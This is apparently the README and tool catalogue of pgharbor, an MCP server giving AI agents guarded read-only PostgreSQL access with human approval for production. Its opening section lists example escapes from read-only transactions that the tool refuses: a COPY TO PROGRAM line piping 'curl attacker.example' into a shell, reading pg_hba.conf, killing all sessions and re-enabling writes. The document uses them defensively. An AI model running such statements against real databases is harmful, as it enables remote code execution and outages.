pgharbor
Provides AI agents with safe, read-only-by-default access to PostgreSQL databases (versions 9.6 through 19), including schema exploration (tables, views, functions, DDL, dependencies, relationships), guarded SQL queries and EXPLAIN plans with server-side limits, SQL validation, performance and maintenance inspection, and per-connection access controls with human approval for protected or production databases and an audit log of every operation.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@pgharbor list the tables in the dev database"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
pgharbor is a Model Context Protocol server that gives AI agents the whole of PostgreSQL (schema, data, plans, performance, replication, security, maintenance) without handing them the keys.
It is read-only by default, asks a human before touching production or changing anything, and does not trust a read-only transaction to keep a database safe, because a read-only transaction does not. It works with every PostgreSQL from 9.6 to 19.
Why another PostgreSQL server for agents
Most of them run your agent's SQL inside BEGIN READ ONLY and call it safe. Inside that
transaction all of this still works:
SELECT pg_terminate_backend(pid) FROM pg_stat_activity; -- kill every session
SELECT pg_read_file('pg_hba.conf'); -- read files on the host
COPY (SELECT 1) TO PROGRAM 'curl attacker.example | sh'; -- run a program
SELECT set_config('statement_timeout', '0', false); -- remove the time limit
SELECT pg_advisory_lock(1); -- a lock that outlives the rollback
SET transaction_read_only = off; -- ... and now it is read-writepgharbor refuses every one of them, and proves it on eleven PostgreSQL versions on every commit.
Typical read-only server | pgharbor | |
Statement type decided by | a keyword check or a client-side parser | the PostgreSQL server, through a sub-select and the extended protocol |
Functions with side effects | run | refused by name, in the statement, inside views, policies, function bodies, operators and casts |
Huge results and huge values | returned, or cut after transfer | limited and cut on the server |
Sensitive columns and giant tables | not addressed | protected columns, "index filter required", cost ceiling |
Production | same as any database | a human approves it, once per session |
Writes | a flag | per-connection access mode, dry run, human confirmation, audit log |
PostgreSQL versions | recent ones | 9.6 to 19, each one tested |
Session state between calls | leaks | wiped with |
Related MCP server: Postgres MCP Pro
Quick start
You need uv (it brings its own Python).
1. Point it at a database. The fastest way is one environment variable:
export PGHARBOR_DSN="postgresql://user:password@localhost:5432/mydb"For more than one database, or for any of the rules below, write a configuration file:
uvx --from git+https://github.com/DanielFreitasDev/pgharbor pgharbor init # writes ~/.config/pgharbor/config.toml
uvx --from git+https://github.com/DanielFreitasDev/pgharbor pgharbor check # validates it and tests the connections (production only when named)2. Add it to your agent.
claude mcp add pgharbor --scope user -- uvx --from git+https://github.com/DanielFreitasDev/pgharbor pgharborThen ask: "use pgharbor to list the tables of the dev database".
{
"mcpServers": {
"pgharbor": {
"command": "uvx",
"args": ["--from", "git+https://github.com/DanielFreitasDev/pgharbor", "pgharbor"]
}
}
}# ~/.codex/config.toml
[mcp_servers.pgharbor]
command = "uvx"
args = ["--from", "git+https://github.com/DanielFreitasDev/pgharbor", "pgharbor"]// .mcp.json at the workspace root (the same file Claude Code reads)
{ "mcpServers": { "pgharbor": { "type": "stdio", "command": "uvx",
"args": ["--from", "git+https://github.com/DanielFreitasDev/pgharbor", "pgharbor"] } } }// ~/.gemini/settings.json
{ "mcpServers": { "pgharbor": { "command": "uvx",
"args": ["--from", "git+https://github.com/DanielFreitasDev/pgharbor", "pgharbor"] } } }Pin a release by adding @v0.1.0 to the Git URL. More in docs/clients.md.
How a query is kept safe
The two ideas that matter most:
The server is the judge. Your query is sent as
SELECT * FROM (<query>) AS qthrough the extended protocol. Inside a sub-select only a query is valid SQL, and the protocol accepts a single statement. No keyword list, no parser of ours, can be fooled about what a statement is, because neither is asked.Functions are checked by name against the catalog, wherever they hide: in the statement, in a view, in a row-security policy, in the body of another function, behind a custom operator, a cast or the
CHECKof a domain. A function that builds its SQL at run time cannot be checked, so it is refused until you vouch for it by name.
Every layer, what it stops and where the protection ends is in docs/security.md.
Tools
The tools adapt to the server they talk to: the same call works on 9.6 and on 19, and says so clearly when a feature does not exist in that version. Full reference with parameters: docs/tools.md.
Tool | What it does |
| List the configured PostgreSQL connections: name, environment, access mode, limits. |
| Ask the user to approve the use of a protected connection (for example production). |
| Show PostgreSQL version, uptime, current role and privileges, database size, key settings, installed extensions and which optional features this server supports. |
| Run one read-only SQL query (SELECT, WITH, VALUES, TABLE, SHOW) and return the rows. |
| Show the execution plan of a read query (EXPLAIN) without running it. |
| Check a read query without executing it: syntax, object names, safety rules, result columns with types, tables it would touch and its estimated cost. |
| Explain what is allowed on a connection: access mode, approval, limits, function policy, protected tables and columns, denied relations. |
| Show the most recent entries of pgharbor's audit log: which tool ran, on which connection, the SQL, the outcome and the rule that refused it. |
Tool | What it does |
| List the schemas (namespaces) of the database with owner, comment, how many tables, views, sequences and functions each holds, and approximate size. |
| List tables (and optionally views, materialized views, foreign tables) with estimated row count, size on disk and comment. |
| Describe one table, view, materialized view or foreign table. |
| List objects of ONE kind. |
| Describe one object that is not a table: a function, procedure, aggregate, sequence, type, index, trigger, extension or schema. |
| Rebuild the CREATE statement (DDL, as SQL text) of a table, view, materialized view, function, procedure, sequence, type (enum, domain, composite, range), index, trigger or schema. |
| Find database objects by name. |
| Find functions, procedures, views, materialized views and triggers whose source code contains a text, and return the matching lines with their line numbers. |
| Show what depends on an object and what it depends on, to answer "what breaks if I drop or change this?". |
| Show the foreign key graph: which table references which, through which columns, with ON DELETE / ON UPDATE actions. |
| Give a compact map of one schema that costs few tokens. |
| Compare one schema on two connections (for example development and production, or before and after a migration). |
| Show the partitions of a partitioned table as a tree. |
Tool | What it does |
| Show a few rows of a table or view to see what the data looks like. |
| Count the rows of a table: an instant estimate from the planner statistics, and with |
| Describe the data of each column from the planner statistics, without reading the table. |
| Run a read-only query and save the result to a local file (CSV, JSON or JSON Lines) instead of sending the rows to the conversation. |
Tool | What it does |
| Show who is connected right now. |
| Show lock waits as a blocking tree. |
| Rank the queries of the current database from pg_stat_statements. |
| Show per-table activity from pg_stat_user_tables. |
| List indexes with size, scans, tuples read and fetched, unique/primary/valid flags, access method and definition, and find the ones to drop. |
| Estimate how much space tables and btree indexes waste (bloat) and rank them by wasted bytes, without scanning anything. |
| Report the state of vacuum and autovacuum. |
| Find what takes the space: the biggest databases, schemas, tables (with heap data, indexes and TOAST shown separately), indexes or tablespaces, largest first. |
| Report cache effectiveness and I/O. |
| Show long operations that are running now with their progress. |
| Show pg_stat_database for the current database (or every database with |
| Read any system view or catalog table from pg_catalog or information_schema by name, for example pg_stat_user_functions, pg_stat_slru, pg_stat_ssl, pg_prepared_xacts, pg_stat_wal, pg_stat_replication or pg_replication_slots. |
Tool | What it does |
| Search server configuration parameters (GUCs). |
| Find sequences that are running out of numbers. |
| Explain how checkpoints and WAL behave. |
| Suggest indexes. |
| Run a quick DBA check-up and return findings ranked by severity. |
Tool | What it does |
| Show the replication state of the server in one answer. |
Tool | What it does |
| List database roles (users and groups) with their attributes (superuser, createdb, createrole, login, replication, bypassrls), connection limit, password expiry, the roles each one belongs to ( |
| Show access rights, in one of two ways. |
| Audit the database for security weaknesses and rank the findings as critical, warning or info, each with a recommendation. |
| Find columns that look like they hold sensitive data, judging by column name, comment and type only. |
Tool | What it does |
| List the extensions installed in this database (version, schema, whether a newer version can be installed with ALTER EXTENSION ... |
| Report on one installed extension: version, schema, the objects it created (functions, types, tables, operators), its settings, and extension-specific facts. |
| Look for data integrity problems. |
Tool | What it does |
| Run ONE statement that changes data or structure. |
| Run a maintenance command on a table, index or materialized view. |
| Cancel the running query of another session ( |
| Bulk-load a local CSV file into an existing table with COPY, in one transaction. |
Anything without a dedicated tool is still reachable: pg_query runs any read query on
any catalog, and pg_stat_view reads any statistics view by name, including the ones
future versions add.
Configuration
One TOML file, and it is the only thing that decides what a connection may do. Nothing the agent says can change it.
[connections.dev]
host = "localhost"
dbname = "app"
user_env = "APP_DB_USER" # secrets stay in the environment
password_env = "APP_DB_PASSWORD"
access = "read-write" # read-only | read-write | admin
[connections.prod]
environment = "production" # a human approves its use, once per session
host = "db.internal"
dbname = "app"
user_env = "APP_DB_USER"
password_env = "APP_DB_PASSWORD"
access = "read-only"
max_plan_cost = 500000 # refuse queries the planner says are too heavy
[[connections.prod.protect]]
table = "billing.cards"
deny_columns = ["card_number", "cvv"] # never readable, however the query is written
require_index_filter = true # no full scans of this table
note = "Filter by id or customer_id."Also there: function policies, credential redaction, limits, audit log, and custom tools, which turn a query you approve into a tool of its own so that production needs no free SQL at all. Everything is in docs/configuration.md.
Where it sits
Compatibility
Supported | How it is checked | |
PostgreSQL | 9.6, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 | the integration suite runs on each one |
Python | 3.11 to 3.14 | unit tests on each one |
MCP | 2025-11-25 and 2026-07-28 | protocol tests on both, including the confirmation dialogs |
Connection poolers | PgBouncer (transaction mode) | tested; settings are applied per transaction when start-up options are refused |
Platforms | Linux, macOS, Windows | the database suite runs on Linux; unit tests and server start-up on all three |
Details and the per-version feature table: docs/compatibility.md.
Questions
Only on a connection whose access you set to read-write or admin in the
configuration file, only one statement at a time, and by default only after you confirm
it in a dialog. On a read-only setup the writing tools are not even listed.
It is several layers, tested with more than 180 attacks on every supported version, and the security document is explicit about the limits. The strongest setup adds a database role with only the privileges the agent needs: with that, most of what pgharbor blocks does not exist as a risk in the first place.
A client-side parser is a different program from the server: any difference between the two is a way in, which is how SQL assistants have been bypassed. pgharbor lets the server decide what a statement is. Its own scanner only looks for names, is conservative on purpose, and is tested against PostgreSQL's real scanner.
No. It is a local process that talks to your databases and to the MCP client that started it, over stdio. There is no network listener and no telemetry.
PostgreSQL 9.6 is supported and tested like the others. Tools that need a newer feature
(declarative partitioning, pg_stat_io, ...) say which version introduced it.
Development
git clone https://github.com/DanielFreitasDev/pgharbor && cd pgharbor
uv sync --group dev --group oracle
scripts/pg-matrix.sh up # PostgreSQL 9.6 to 19 in containers
uv run pytest # everything, on every versionSee CONTRIBUTING.md and docs/writing-tools.md. Security reports: SECURITY.md.
License
MIT. Use it, change it, ship it.
pgharbor's own code has no copyleft terms. At run time it depends on the official MCP Python SDK (MIT), pydantic (MIT) and psycopg (LGPL-3.0, used as an unmodified library).
Available Tools
50 toolspg_activitySession activityARead-onlyIdempotent
Show who is connected right now: sessions from pg_stat_activity with user, database,
application, client, state, wait event, how long the transaction, query and state have
lasted, the query text, which sessions block them (blocked_by), plus a summary by state
and the use of max_connections.
Use it to find long-running queries, sessions stuck "idle in transaction" and blocked
sessions. Idle sessions are hidden unless include_idle is true or state="idle" is
given. min_duration_seconds keeps sessions whose transaction or current state is at
least that old. Your own session is never listed. For the lock tree use pg_locks.
Inputs: limit, state, database, connection, +2 more.
pg_audit_logRead the audit logBRead-onlyIdempotent
Show the most recent entries of pgharbor's audit log: which tool ran, on which connection, the SQL, the outcome and the rule that refused it.
Useful to review what was executed in this and previous sessions.
Inputs: limit, outcome, connection.
pg_bloatTable and index bloatARead-onlyIdempotent
Estimate how much space tables and btree indexes waste (bloat) and rank them by wasted bytes, without scanning anything: the estimate comes from the row counts and average row widths in the planner statistics and is usually within 10 to 20 percent.
kind is tables, indexes or both; schema narrows the search; min_wasted_bytes hides
small waste. Relations never analyzed are skipped (run ANALYZE). For a measurement
instead of an estimate pass exact_table (name or schema.name): it reads that table
with the pgstattuple extension (pgstattuple_approx when available) and also reports the
density of its btree indexes, at the cost of reading the relation.
Inputs: kind, limit, schema, connection, +2 more.
pg_cache_ioCache and I/OARead-onlyIdempotent
Report cache effectiveness and I/O: the buffer cache hit ratio of the database, of the tables and of the indexes (worst first among the busy ones), a summary of pg_stat_io (PostgreSQL 16+), temporary file use, I/O timings when track_io_timing is on, and, if the pg_buffercache extension is installed, the relations that occupy shared_buffers.
A low hit ratio means reads go to the operating system or the disk; it does not count
the OS page cache, so a lower value is not always slow. limit caps each list.
Inputs: limit, connection.
pg_column_statsColumn statisticsARead-onlyIdempotent
Describe the data of each column from the planner statistics, without reading the table: fraction of NULLs, estimated number of distinct values, average width in bytes, the most common values with their frequency (up to 10), the range of the histogram, and the correlation with the physical order (near 1 or -1 means sorted).
Use it to see which columns are selective, skewed or mostly empty before writing a query or an index. The numbers come from the last ANALYZE; a table never analyzed has none, and the answer says so. For protected columns and columns whose name looks like a credential only the statistics are given, never sample values.
Inputs: table (required), columns, connection.
pg_compare_schemasCompare two schemas or environmentsARead-onlyIdempotent
Compare one schema on two connections (for example development and production, or before and after a migration): what exists only in the source, only in the target, and what differs.
Compared: tables, columns (type, nullability, default, identity), indexes, constraints, views (definition), functions (signature, language, volatility and a hash of the body), sequences and types.
schema is the schema on the source; target_schema the schema on the target when it
has another name. include limits the comparison to some of the kinds. Both
connections are read only, and both follow their approval rules. Nothing is changed.
Inputs: schema (required), source_connection (required), target_connection (required), include, +1 more.
pg_connectionsList database connectionsARead-onlyIdempotent
List the configured PostgreSQL connections: name, environment, access mode, limits.
Start here. Every other tool takes a connection name from this list. No passwords
are ever shown. A connection marked needs_approval must be unlocked with
pg_request_access before use, and only when the user explicitly asked for that
environment.
Inputs: no named parameters.
pg_count_rowsCount rowsARead-onlyIdempotent
Count the rows of a table: an instant estimate from the planner statistics, and with
exact=true the real count(*).
The estimate costs nothing and is usually within a few percent; it adds up the partitions or child tables of a partitioned table, and says when the table was last analyzed (a table never analyzed has no useful estimate). The exact count reads the whole table, so on a big table prefer the estimate, or filter with pg_query.
Inputs: table (required), exact, connection.
pg_database_statsDatabase statisticsARead-onlyIdempotent
Show pg_stat_database for the current database (or every database with
all_databases=true): connections, commits and rollbacks with the rollback ratio,
blocks read and hit with the cache hit ratio, rows returned, fetched, inserted, updated
and deleted, recovery conflicts, temporary files, deadlocks, I/O times, checksum
failures (PostgreSQL 12+), session counts and times (14+) and when the statistics were
last reset.
Counters accumulate since the reset. Use it for a first look at how a database is used and to spot deadlocks, temp-file spills and a high rollback ratio.
Inputs: connection, all_databases.
pg_dependenciesObject dependenciesARead-onlyIdempotent
Show what depends on an object and what it depends on, to answer "what breaks if I drop or change this?".
dependents are the views, materialized views, foreign keys from other tables,
functions that take the table's row type, sequences, indexes, triggers and column
defaults that use the object, followed through views of views up to max_depth.
dependencies are the tables, sequences, functions, types and extensions the object
needs. Each row says whether dropping the object needs CASCADE or removes it along with
the object. name is name or schema.name; a function needs its signature when it
has overloads.
Inputs: name (required), kind, direction, max_depth, +1 more.
pg_describe_objectDescribe a database objectARead-onlyIdempotent
Describe one object that is not a table: a function, procedure, aggregate, sequence, type, index, trigger, extension or schema.
Functions show every overload with arguments, return type, language, volatility, security definer, parallel safety, cost, settings, comment and source code. Sequences show type, range, last value, percent used and owning column. Types show enum labels, domain base type and checks, composite attributes or range subtype. Extensions show their version and the objects they created.
name is name or schema.name; a trigger can be table.trigger, and a function
accepts a signature such as shop.order_total(bigint). max_source_chars cuts long
function bodies. For tables and views use pg_describe_table.
Inputs: kind (required), name (required), connection, max_source_chars.
pg_describe_tableDescribe a tableARead-onlyIdempotent
Describe one table, view, materialized view or foreign table: columns with types, defaults and comments; primary key, foreign keys (both directions), unique and check constraints; indexes with size and usage; triggers; row security policies; partitions; size, estimated rows and last vacuum/analyze.
table is name or schema.name. Read this before writing a query against a table.
detail="summary" returns only columns and keys.
Inputs: table (required), detail, connection.
pg_explainExplain a query planARead-onlyIdempotent
Show the execution plan of a read query (EXPLAIN) without running it.
Returns the plan plus a summary: estimated cost and rows, tables touched and which of them are read by sequential scan. Use it before running a heavy query and to understand why a query is slow.
analyze=true really executes the query to measure it (EXPLAIN ANALYZE). It is only
available on connections configured with allow_explain_analyze.
Inputs: sql (required), format, params, analyze, +4 more.
pg_export_queryExport a query to a fileARead-onlyIdempotent
Run a read-only query and save the result to a local file (CSV, JSON or JSON Lines) instead of sending the rows to the conversation. Use it for results too big to read: the answer holds only the path, the row count and the size.
The query goes through the same safety checks as pg_query (one statement, read only,
protected columns refused, credential-like columns redacted); use params ($1, $2, ...)
for values. filename is a plain file name, written to the connection's export folder
(default ~/pgharbor-exports). Up to max_rows rows, never more than 100,000; the file is
not overwritten unless overwrite=true. Exports can be turned off per connection.
Inputs: sql (required), filename (required), format, params, +3 more.
pg_extension_reportExtension reportARead-onlyIdempotent
Report on one installed extension: version, schema, the objects it created (functions, types, tables, operators), its settings, and extension-specific facts.
Specific parts exist for pg_stat_statements (entries), pg_buffercache (cache summary), pg_trgm (trigram indexes), hypopg (hypothetical indexes), vector/pgvector (vector columns, hnsw and ivfflat indexes), postgis (version, geometry columns, SRID, spatial indexes), pg_cron (jobs and last runs), pg_partman (configured tables), pgaudit, postgres_fdw and dblink (servers, foreign tables, never user mapping options), pgstattuple, pgcrypto and timescaledb (hypertables). Any other extension gets the generic part. If the extension is not installed the error says how to install it; pg_extensions lists what exists.
Inputs: extension (required), connection.
pg_extensionsList extensionsARead-onlyIdempotent
List the extensions installed in this database (version, schema, whether a newer version can be installed with ALTER EXTENSION ... UPDATE, comment) and the ones the server could install with CREATE EXTENSION.
Use it to see what a database can do (pg_stat_statements, PostGIS, pgvector, pg_cron...)
and what is missing. pattern filters by name (* wildcard); only_installed skips the
available list. For the available ones it says whether installing needs a superuser
(trusted extensions, PostgreSQL 13+, only need CREATE on the database). pg_extension_report
describes one installed extension.
Inputs: pattern, connection, only_installed.
pg_find_sensitive_columnsFind sensitive columnsARead-onlyIdempotent
Find columns that look like they hold sensitive data, judging by column name, comment and type only: passwords, tokens and keys, CPF/CNPJ/SSN, emails, phones, payment cards, birth dates, salaries, addresses and similar, in English and Portuguese.
For each match it gives the table, column, type, category, why it was flagged, whether
the table has row level security (rls) and whether it uses column-level grants
(column_grants). The data itself is never read. Use it to plan masking and access
control, or before exposing a schema to an application. schema narrows the search.
Inputs: limit, schema, connection.
pg_get_ddlRebuild the CREATE statement of an objectARead-onlyIdempotent
Rebuild the CREATE statement (DDL, as SQL text) of a table, view, materialized view, function, procedure, sequence, type (enum, domain, composite, range), index, trigger or schema.
A table comes with its columns (types, defaults, identity and generated columns, NOT
NULL), constraints, PARTITION BY / PARTITION OF, INHERITS, indexes, comments, triggers,
row level security and policies. Names are always schema-qualified. Owners and GRANTs
are not included. name is name or schema.name; a function accepts a signature such
as shop.order_total(bigint). Use it to copy a structure or to review how an object was
defined.
Inputs: name (required), kind, connection.
pg_health_checkHealth checkARead-onlyIdempotent
Run a quick DBA check-up and return findings ranked by severity: connection use, long transactions, sessions idle in transaction, blocked sessions, transaction id wraparound, dead rows, invalid and duplicate indexes, sequences near their end, cache hit ratio, forced checkpoints, inactive replication slots, tables never analyzed or without a primary key, deadlocks, temporary files, rollback ratio, settings waiting for a restart, autovacuum, fsync/full_page_writes and orphaned prepared transactions.
Start here when asked "is this database healthy?". Every finding has a severity
(critical, warning, info, ok), the measured value, the threshold used and the tool that
goes deeper. A check that cannot run on this server version or with this role is reported
as not_available and the others still run. It only reads statistics and catalogs.
Inputs: connection.
pg_index_advisorIndex advisorARead-onlyIdempotent
Suggest indexes. Without sql it lists foreign keys with no supporting index (which
make deletes and joins on the parent scan the child table) and large tables read almost
only by sequential scans, each with a ready CREATE INDEX suggestion where one is clear.
With sql and hypothetical_indexes (a list of CREATE INDEX commands) it compares the
planner's estimated cost of the query before and after the indexes, without creating
anything: it needs the hypopg extension.
table (name, schema.name or pattern) narrows the heuristics. The query is checked by
the same rules as pg_query and is never executed, only planned. Indexes speed up reads and
slow down writes: add only the ones a real query needs.
Inputs: sql, limit, table, connection, +1 more.
pg_index_statsIndex statisticsARead-onlyIdempotent
List indexes with size, scans, tuples read and fetched, unique/primary/valid flags,
access method and definition, and find the ones to drop: show="unused" (never scanned
and not backing a constraint), "duplicate" (same columns, operator classes and
predicate as another index), "redundant" (columns are the leading columns of a longer
index) or "invalid" (a failed CREATE INDEX CONCURRENTLY).
Filter with schema and table (name, schema.name or a pattern with *). "Unused"
counts scans since the statistics reset (counters_since) on this server only: an index
used just on a replica or by a rare job looks unused here, so check before dropping.
Inputs: show, limit, table, schema, +1 more.
pg_integrity_checkIntegrity checkARead-onlyIdempotent
Look for data integrity problems: invalid indexes, constraints added NOT VALID, tables without a primary key, forgotten prepared transactions, disabled triggers (including foreign key enforcement), collation versions that changed under the server, data checksums off or failing, and sequences that no column owns.
schema limits the object checks to one schema. With index (the name of a b-tree
index) and the amcheck extension (PostgreSQL 10+) it also verifies that index's
structure with bt_index_check, which needs a superuser and reads the whole index. Nothing
is changed; each problem comes with a fix to apply yourself.
Inputs: index, schema, connection.
pg_list_objectsList database objects of one kindARead-onlyIdempotent
List objects of ONE kind: views, materialized views, sequences, functions, procedures, aggregates, triggers, indexes, types, enums, domains, extensions, foreign tables and servers, operators, casts, collations, languages, tablespaces, rules, policies, statistics, publications, subscriptions, text search configs, access methods or databases.
Each kind returns its own compact columns (a function: arguments, returns, language,
volatility; a sequence: type, last value, owning column; an index: table, method,
size). Filter by schema and by a name pattern (* and ? wildcards; plain text
matches any name containing it). Kinds the server version does not have return an
empty list with a note. Tables are listed by pg_list_tables.
Inputs: kind (required), limit, offset, schema, +2 more.
pg_list_partitionsList partitionsARead-onlyIdempotent
Show the partitions of a partitioned table as a tree: each partition with its bounds (FOR VALUES ..., DEFAULT), its own partition key when it is partitioned again, estimated rows and size on disk, plus the partitioning strategy (range, list, hash) and key.
On PostgreSQL 9.6, which has no declarative partitioning, it shows the table inheritance children and their CHECK constraints instead. A table without partitions or children answers with an empty list.
Inputs: table (required), connection.
pg_list_schemasList schemasARead-onlyIdempotent
List the schemas (namespaces) of the database with owner, comment, how many tables, views, sequences and functions each holds, and approximate size.
The first step when exploring a database. System schemas (pg_catalog,
information_schema) are left out unless include_system is true. Sizes come from the
planner statistics, so they are instant and slightly behind; pg_sizes measures.
Inputs: connection, include_system.
pg_list_tablesList tablesARead-onlyIdempotent
List tables (and optionally views, materialized views, foreign tables) with estimated row count, size on disk and comment.
Filter by schema and by a name pattern (* and ? wildcards; plain text matches
any name containing it). order_by="size" finds the biggest tables. Partitions are
hidden behind their parent unless include_partitions is true. Row counts are the
planner's estimates: instant, and close enough to choose a strategy.
Inputs: kinds, limit, offset, schema, +4 more.
pg_locksLocks and blockingARead-onlyIdempotent
Show lock waits as a blocking tree: which sessions wait, for how long and for which lock or table, who holds it (pid, state, query, how long its transaction has been open), the root blockers with how many sessions each one blocks, the strong (ACCESS EXCLUSIVE) locks currently granted on user tables, and a count of locks by mode.
Use it when queries hang or pg_activity shows blocked_by. The wait time is counted
from the start of the waiting statement, so it is an upper bound. With
only_blocked=false it also lists the table locks every session holds or wants.
Inputs: limit, connection, only_blocked.
pg_policyShow the safety rules of a connectionARead-onlyIdempotent
Explain what is allowed on a connection: access mode, approval, limits, function policy, protected tables and columns, denied relations.
Read it when a statement is refused, or before planning work on a connection you do not know.
Inputs: connection.
pg_privilegesWho can do whatARead-onlyIdempotent
Show access rights, in one of two ways. With object: who can do what on that
table (and its columns), schema, function, sequence or database, owner and PUBLIC
included. With role: everything that role may do (granted directly, through roles it
inherits, or to PUBLIC), the objects it owns and its default privileges.
kind says what object names (default table, views included); a function can be
schema.name or name(argument types) when overloaded. Pass role="public" to see
what every role can do. Pass one of object and role, not both. A superuser
bypasses all of these checks; the answer says so.
Inputs: kind, role, limit, object, +1 more.
pg_progressOperation progressARead-onlyIdempotent
Show long operations that are running now with their progress: VACUUM, ANALYZE, CLUSTER/VACUUM FULL, CREATE INDEX / REINDEX, base backups, COPY and REPACK, from the pg_stat_progress_* views that exist on this server version.
Each operation lists the process, user, table, phase, how long it has run, percent done when it can be computed and the raw counters. When nothing is running it says so. Use it to answer "is it stuck or just slow?" for index builds and vacuums.
Inputs: connection.
pg_queryRun a read-only SQL queryARead-onlyIdempotent
Run one read-only SQL query (SELECT, WITH, VALUES, TABLE, SHOW) and return the rows.
The query is checked before it runs: one statement only, no writes, no functions with
side effects, protected tables and columns respected, and always inside a read-only
transaction with a time limit. Pass values through params ($1, $2, ...) instead of
concatenating them into the SQL.
Results are limited: max_rows (default from the connection, typically 200) and long
values are cut at max_cell_chars. When has_more is true, narrow the query or page
with offset. Prefer explicit column lists and a WHERE clause on large tables.
Inputs: sql (required), format, offset, params, +3 more.
pg_relationshipsForeign key relationshipsARead-onlyIdempotent
Show the foreign key graph: which table references which, through which columns, with ON DELETE / ON UPDATE actions.
table limits it to the relationships that touch one table (both directions);
schema to those that touch a schema; with neither it covers every user schema.
format="mermaid" returns a Mermaid erDiagram (entities with their key columns and
the relationships) that can be pasted into documentation or a Markdown viewer.
Inputs: limit, table, format, schema, +1 more.
pg_replicationReplication statusARead-onlyIdempotent
Show the replication state of the server in one answer: whether it is a primary or a standby, connected standbys with lag, replication slots and the WAL they retain, the WAL receiver and replay delay on a standby, publications with their tables, subscriptions with their statistics, recovery conflicts and the settings that govern replication.
Use it to check that replicas are healthy, to find an abandoned slot that makes the disk fill with WAL, or to see what logical replication publishes. Connection strings and passwords are never shown. A server without any replication says so plainly.
Inputs: connection.
pg_request_accessRequest access to a connectionARead-onlyIdempotent
Ask the user to approve the use of a protected connection (for example production).
Call this only when the user explicitly asked for that environment. The user sees a
dialog with the connection, the server and your reason. Never use a protected
connection as a fallback because another one failed.
user_requested_this_environment matters only for clients that cannot show dialogs:
set it to true only if the user named this environment in the conversation.
Inputs: reason (required), connection (required), user_requested_this_environment.
pg_rolesRoles and membershipsARead-onlyIdempotent
List database roles (users and groups) with their attributes (superuser, createdb,
createrole, login, replication, bypassrls), connection limit, password expiry, the
roles each one belongs to (member_of) and its members, plus per-role settings.
Use it to see who can log in and who holds powerful attributes. Superusers also get
the password method of each login role (scram-sha-256, md5 or none); the hash itself is
never returned. pattern filters by name (* wildcard). Built-in pg_* roles are
hidden unless include_system is true. From PostgreSQL 16 memberships show their
admin/inherit/set options.
Inputs: limit, pattern, connection, include_system.
pg_sample_rowsSample rows of a tableARead-onlyIdempotent
Show a few rows of a table or view to see what the data looks like.
Pick columns to keep the answer small; by default every column the connection allows
is listed (columns protected by the connection's rules are left out, and values of
credential-like columns are redacted). limit is at most 100. By default the rows are
simply the first ones the server finds, in no particular order; random=true draws a
random sample instead (on a big table this reads the whole table once, so it can take a
while; the time limit of the connection applies). For a filtered read use pg_query.
Inputs: table (required), limit, random, columns, +1 more.
pg_schema_overviewCompact schema overviewARead-onlyIdempotent
Give a compact map of one schema that costs few tokens: one line per table in the
form orders(id bigint PK, customer_id int FK->customers.id, status order_status)
with primary keys, foreign key targets, unique columns and the estimated row count,
then the views (with their columns) and the number of functions, procedures and
sequences.
Use it first when you need to write queries against a schema. Partitions are folded
into their parent. limit caps the number of tables. For one table in full detail use
pg_describe_table.
Inputs: schema (required), limit, connection.
pg_searchSearch objects by nameARead-onlyIdempotent
Find database objects by name: tables, views, columns, functions, indexes, sequences, types, enum labels, triggers, constraints, schemas, extensions, and text inside comments.
Use it when you know a word (invoice, customer_id) but not where it lives. The
answer is grouped by kind, best matches first (exact name, then prefix, then
substring), each as schema.object. query matches anywhere in a name (* and ?
are wildcards). kinds narrows the search, schema limits it to one schema, limit
is the maximum per kind. System schemas are skipped unless named.
Inputs: query (required), kinds, limit, schema, +1 more.
pg_search_sourceSearch inside source codeARead-onlyIdempotent
Find functions, procedures, views, materialized views and triggers whose source code contains a text, and return the matching lines with their line numbers.
Use it to answer "who uses this table or column?" in code that lives inside the
database, or "where is this function called?". pattern is plain text (case
insensitive); with regex=true it is a PostgreSQL regular expression. Line numbers
count from the first line of a function body or view definition. Code that belongs to
extensions is skipped. limit is the maximum number of objects.
Inputs: pattern (required), kinds, limit, regex, +2 more.
pg_security_auditSecurity auditARead-onlyIdempotent
Audit the database for security weaknesses and rank the findings as critical, warning or info, each with a recommendation.
It checks superusers and powerful role attributes (CREATEROLE, REPLICATION, BYPASSRLS), md5 password hashes, PUBLIC privileges and a PUBLIC-writable schema, SECURITY DEFINER functions without a fixed search_path, row level security gaps, pg_hba rules with trust or cleartext passwords, ssl, untrusted languages, risky extensions, file and program access roles, foreign servers and event triggers. Each check runs on its own: one that the server or the role cannot do becomes a note and the rest still run. Nothing is changed and no secret is read.
Inputs: connection.
pg_sequences_healthSequence exhaustionARead-onlyIdempotent
Find sequences that are running out of numbers: how much of the usable range each one has consumed, how many values are left, and whether the column it feeds (serial or identity) is a smaller integer type than the sequence, which makes the column overflow first.
Only sequences at or above threshold_percent of their range are listed (default 50).
Sequences that cycle wrap around instead of failing and are flagged. A smallint or
integer key that is close to its limit needs an ALTER COLUMN ... TYPE bigint long
before the sequence ends.
Inputs: limit, connection, threshold_percent.
pg_server_infoServer informationARead-onlyIdempotent
Show PostgreSQL version, uptime, current role and privileges, database size, key settings, installed extensions and which optional features this server supports.
Use it first on an unfamiliar server: tools adapt to the version (9.6 to 19) and to the extensions reported here.
Inputs: connection.
pg_settingsSearch settingsARead-onlyIdempotent
Search server configuration parameters (GUCs): current value with unit, default, where the value comes from (default, configuration file with line, ALTER SYSTEM, ...), whether changing it needs a restart, whether a restart is pending, and a short description. Also lists errors found in the configuration files and the per-database and per-role overrides (ALTER DATABASE/ROLE ... SET).
pattern matches parameter names (and descriptions), with * wildcards; category
filters by group (for example "Write-Ahead Log"); changed_only hides parameters still at
their default; pending_restart_only shows what waits for a restart.
Inputs: limit, pattern, category, connection, +2 more.
pg_sizesSizesARead-onlyIdempotent
Find what takes the space: the biggest databases, schemas, tables (with heap data, indexes and TOAST shown separately), indexes or tablespaces, largest first.
scope selects the kind of object. schema narrows tables and indexes to one schema.
Partitions are listed as tables of their own. Sizes include all forks of each relation;
use pg_bloat to see how much of a table is wasted.
Inputs: limit, scope, schema, connection.
pg_stat_viewRead a system viewARead-onlyIdempotent
Read any system view or catalog table from pg_catalog or information_schema by name, for example pg_stat_user_functions, pg_stat_slru, pg_stat_ssl, pg_prepared_xacts, pg_stat_wal, pg_stat_replication or pg_replication_slots.
Use it for everything that has no dedicated tool, and for views added by newer
